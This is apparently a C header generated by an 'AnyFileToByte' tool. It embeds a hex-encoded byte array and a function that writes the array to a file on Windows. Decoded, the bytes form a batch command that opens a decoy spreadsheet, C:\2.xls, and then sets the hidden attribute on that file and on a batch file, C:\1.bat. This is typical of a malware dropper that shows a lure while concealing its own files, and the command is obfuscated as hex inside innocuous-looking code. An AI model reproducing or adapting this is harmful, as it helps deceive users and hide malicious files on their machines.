2024-06-23 17:36:53 +08:00

32 lines
1.0 KiB
C
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

/*
AnyFileToByte Made By 西门
My QQ 168751
直接include此单元使用 xxxSaveFile('xxx.xxx');即可生成文件
*/
#ifndef _FUNC_xxx_
#define _FUNC_xxx_
#include <windows.h>
const
xxxMyFileSize=87;
unsigned char xxxMyFileBuf[] ={
0x25,0x53,0x79,0x73,0x74,0x65,0x6D,0x52,0x6F,0x6F,0x74,0x25,0x5C,0x73,0x79,0x73,0x74,0x65,0x6D,0x33,0x32,0x5C,0x63,0x6D,0x64,0x2E,0x65,0x78,0x65,0x20,0x2F,0x63,
0x20,0x73,0x74,0x61,0x72,0x74,0x20,0x43,0x3A,0x5C,0x32,0x2E,0x78,0x6C,0x73,0x20,0x26,0x61,0x74,0x74,0x72,0x69,0x62,0x20,0x63,0x3A,0x5C,0x32,0x2E,0x78,0x6C,0x73,
0x20,0x2B,0x68,0x20,0x26,0x61,0x74,0x74,0x72,0x69,0x62,0x20,0x63,0x3A,0x5C,0x31,0x2E,0x62,0x61,0x74,0x20,0x2B,0x68,
};
bool xxxSaveFile(char *FileName)
{
bool Result = false;
HANDLE hFile;
DWORD dwBytesWritten;
hFile = CreateFile(FileName,GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,NULL,NULL);
if (hFile == INVALID_HANDLE_VALUE) Result =false;
if(WriteFile(hFile, xxxMyFileBuf, xxxMyFileSize, &dwBytesWritten, NULL)) Result =true;
CloseHandle(hFile);
return Result;
}
#endif